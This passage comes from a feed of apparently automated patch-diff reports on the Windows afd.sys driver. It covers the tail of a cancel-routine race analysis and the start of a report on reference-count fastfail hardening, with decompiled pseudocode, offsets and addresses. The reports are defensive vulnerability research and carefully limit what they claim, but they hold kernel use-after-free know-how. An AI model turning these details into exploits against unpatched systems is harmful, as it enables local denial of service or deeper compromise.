&lt;td&gt;&lt;code&gt;sub_1C005A210&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.92&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;IOCTL dispatch; connection-alloc paths gated.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdSanConnectHandler @ 0x1C007E500&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.96&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;Cancel-routine address + WPP trace changes; feature-gated paths.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AfdCreateConnection_Old @ 0x1C0007DE4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0.36&lt;/td&gt;
&lt;td&gt;behavioural&lt;/td&gt;
&lt;td&gt;Relocated pre-patch &lt;code&gt;AfdCreateConnection&lt;/code&gt; logic kept for the feature-disabled fallback. Address &lt;code&gt;0x1C0007DE4&lt;/code&gt; is a different function (&lt;code&gt;rbc_InitializeFeatureStaging&lt;/code&gt;) in the unpatched build — match by content.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Cosmetic / register-allocation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_1C0046230&lt;/code&gt; (0.98) and &lt;code&gt;sub_1C00379D0&lt;/code&gt; (0.94) — stack-variable renames and WPP/telemetry address changes; no semantic effect.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EvaluateCurrentState @ 0x1C0007AF8&lt;/code&gt; — the Windows feature-staging evaluator used to gate the patched paths. It is present at the same address in &lt;strong&gt;both&lt;/strong&gt; builds (not a new function); the diff attributes low similarity to relocation/inlining churn, not new logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None added or removed. All changes are in-place edits or relocations of existing routines. The "new" &lt;code&gt;AfdCreateConnection @ 0x1C0055BF0&lt;/code&gt; and &lt;code&gt;AfdCreateConnection_Old @ 0x1C0007DE4&lt;/code&gt; are relocated/feature-staged variants of the original &lt;code&gt;AfdCreateConnection @ 0x1C0055AB0&lt;/code&gt;, not net additions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implication:&lt;/strong&gt; No mitigation was removed. The added surface is the feature-gated teardown drain, the &lt;code&gt;conn+0x91&lt;/code&gt; teardown flag, and the device-attachment validation — all controlled by &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence: High on mechanism, deliberately conservative on impact.&lt;/strong&gt; The unpatched teardown without a sibling-IRP drain, and the patched feature-gated drain + teardown flag, are unambiguous in both the disassembly and the decompilation. The connection is reset/recycled in place (type &lt;code&gt;0xAFD0&lt;/code&gt;, &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;conn+0x50&lt;/code&gt;), not freed to the pool; there is no &lt;code&gt;ExFreePool&lt;/code&gt; on this object in the cancel path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Facts anchored to the binaries.&lt;/strong&gt;
- &lt;code&gt;AfdSanCancelAccept&lt;/code&gt; reset sequence: endpoint deref at &lt;code&gt;conn+0x50&lt;/code&gt; (&lt;code&gt;AfdDereferenceEndpointInline&lt;/code&gt;), &lt;code&gt;memset(conn+0x50, 0, 0x48)&lt;/code&gt;, type &lt;code&gt;0xAFD0&lt;/code&gt;, &lt;code&gt;int 29h&lt;/code&gt; fail-fast on list corruption (&lt;code&gt;0x1C007E1A7&lt;/code&gt;–&lt;code&gt;0x1C007E22E&lt;/code&gt;).
- Patched drain over &lt;code&gt;conn+0x70&lt;/code&gt; and second locked reset (&lt;code&gt;0x1C007F1C7&lt;/code&gt;–&lt;code&gt;0x1C007F318&lt;/code&gt;).
- Teardown-flag gate in the insert paths keyed on &lt;code&gt;conn+0x91&lt;/code&gt; and &lt;code&gt;EvaluateCurrentState(g_Feature_556471608_60363862)&lt;/code&gt;.
- &lt;code&gt;AfdSanAcceptCore @ 0x1C007D0B8&lt;/code&gt; installs the cancel routine (&lt;code&gt;lea rax, AfdSanCancelAccept&lt;/code&gt; at &lt;code&gt;0x1C007D2B5&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not claimed (no supporting evidence in the binaries).&lt;/strong&gt; Pool-spray reclamation, information leaks, KASLR defeat, SMEP/CFG/HVCI bypass, arbitrary kernel read/write, and privilege escalation to SYSTEM. The demonstrable impact is a list-integrity bugcheck (local DoS) and use of a recycled connection object; anything beyond that would require winning a reallocation race and controlling the reused object, which is not shown here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Staging.&lt;/strong&gt; Because the drain, the teardown flag, and the device check are all gated behind &lt;code&gt;g_Feature_556471608_60363862&lt;/code&gt; with the original paths retained, the patched binary only exhibits the corrected behaviour when that feature is enabled at runtime.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>afd.sys — Use-after-free hardening via reference-count integrity fastfail checks (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/afd_1cada4c1-afd-report-20260626-132839.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/afd_1cada4c1-afd-report-20260626-132839.html</id><summary type="html">&lt;p&gt;KB5087545&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;afd_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;afd_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.6712&lt;/code&gt; (67.12%)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Matched Functions: 1170&lt;/li&gt;
&lt;li&gt;Identical Functions: 254&lt;/li&gt;
&lt;li&gt;Changed Functions: 916&lt;/li&gt;
&lt;li&gt;Unmatched (Unpatched/Patched): 0 / 0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The dominant security-relevant change is a driver-wide rollout of reference-count integrity checks. Plain interlocked reference-count increments were replaced with checked 64-bit interlocked increments that immediately bugcheck (&lt;code&gt;__fastfail(0xE)&lt;/code&gt;, FAST_FAIL_INVALID_REFERENCE_COUNT) when the resulting count is not greater than 1, i.e. when code takes a new reference on an object whose count was already 0. This is a defense-in-depth mitigation against reference-count-based use-after-free. The unpatched build has this check at 2 sites; the patched build has it at 227. No out-of-bounds read/write bug was found in the buffer-handling paths: the AFD accept/listen data path bounds checks are logically equivalent between the two builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; — buffer validation is unchanged; only the reference-count integrity check was added&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; N/A (no buffer bug); the only behavioral change is defense-in-depth hardening (see Finding 2)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; None demonstrable from the diff (buffer validation unchanged)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;AfdServiceWaitForListen @ 0x1C00197C0&lt;/code&gt; (patched &lt;code&gt;@ 0x140043C80&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What actually changed:&lt;/strong&gt; The bounds-check block was refactored from a &lt;code&gt;goto&lt;/code&gt;-based sequence into one compound conditional, but the conditions are logically identical in both builds. When endpoint flag bit &lt;code&gt;0x100&lt;/code&gt; is clear, both builds check only the primary size field (&lt;code&gt;*(a2+0xa0) &amp;lt;= Parameters.Create.Options&lt;/code&gt;) and do not check the secondary field; when bit &lt;code&gt;0x100&lt;/code&gt; is set, both builds additionally check &lt;code&gt;*(a2+0xa0)+6&lt;/code&gt; and, if the secondary maximum is non-zero, &lt;code&gt;*(a2+0xa8)+6&lt;/code&gt;. Both builds read the copy source from the same indirect pointer &lt;code&gt;*(a2+0x98)&lt;/code&gt; with length &lt;code&gt;*(*(a2+0x98)+4)+2&lt;/code&gt;. The struct field offsets shifted (the endpoint context grew), which accounts for most of the byte-level diff. The one behavioral addition is the reference-count integrity fastfail described in Finding 2, which this function also received.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt; An earlier hypothesis of an out-of-bounds write via a skipped secondary-buffer check is not supported by the binaries. The "unvalidated secondary buffer" branch exists identically in the patched build, and the copy already uses the validated &lt;code&gt;*(a2+0x98)&lt;/code&gt; pointer in both builds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2: Reference-count integrity fastfail added to interlocked increments (use-after-free hardening)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium (defense-in-depth hardening; no specific exploitable root cause is visible in the diff)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-after-free / reference-count integrity (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Functions (examples):&lt;/strong&gt; &lt;code&gt;AfdServiceWaitForListen @ 0x1C00197C0&lt;/code&gt;, &lt;code&gt;AfdRestartBufferReceiveWithUserIrp @ 0x1C0005A10&lt;/code&gt;, &lt;code&gt;AfdTLTPacketsSend @ 0x1C003EFE8&lt;/code&gt;, and ~225 further sites across the driver&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause / Mechanism:&lt;/strong&gt; In the unpatched build, taking a new reference on an AFD object is a plain 32-bit interlocked increment (&lt;code&gt;lock inc dword ptr [obj+off]&lt;/code&gt;) with no validation of the result. If a reference is taken on an object whose reference count has already reached 0 (a use-after-free / reference-count-underflow condition), the unpatched code silently revives the dangling object and continues. The patched build performs the increment as a 64-bit interlocked add and then checks the result: if the new count is not greater than 1, it executes &lt;code&gt;__fastfail(0xE)&lt;/code&gt; (&lt;code&gt;int 29h&lt;/code&gt; with &lt;code&gt;ecx = 0xE&lt;/code&gt;, FAST_FAIL_INVALID_REFERENCE_COUNT), halting the machine before the corrupted object can be used.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entry Point &amp;amp; Data Flow:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;An AFD object (endpoint / connection / receive-repost context) reaches reference count 0 through a teardown path.&lt;/li&gt;
&lt;li&gt;A concurrent path (pending I/O completion, receive repost, or accept/listen servicing) takes a fresh reference on that object.&lt;/li&gt;
&lt;li&gt;Unpatched: the increment succeeds silently and the object is used after free.&lt;/li&gt;
&lt;li&gt;Patched: the checked increment observes a resulting count of 1 or less and bugchecks via &lt;code&gt;__fastfail(0xE)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Honest scope:&lt;/strong&gt; This is a systematic mitigation applied broadly (227 sites), not a single targeted logic fix. The diff shows the guard being added, but it does not by itself prove a reachable, attacker-controllable underflow. Treat this as reference-count hardening rather than a demonstrated exploitable primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;Bounds check in &lt;code&gt;AfdServiceWaitForListen&lt;/code&gt; — unchanged logic (refactor only)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (0x1C00197C0) ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;FsContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// flag bit 0x100 clear&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MAP_AND_COPY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// primary only; secondary not checked&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                           &lt;/span&gt;&lt;span class="c1"&gt;// -1073741789 (0xC0000023)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;LowPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Read&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ByteOffset&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;LowPart&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// secondary maximum&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LowPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LowPart&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ERROR&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;MAP_AND_COPY&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AfdMapMdlChain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Irp&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;MdlAddress&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... copy uses *(a2+0x98) as source in both builds ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x98&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x98&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED (0x140043C80) ===&lt;/span&gt;
&lt;span class="c1"&gt;// Same three conditions, expressed as one compound predicate (logically identical):&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_primary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_primary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;max_secondary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span 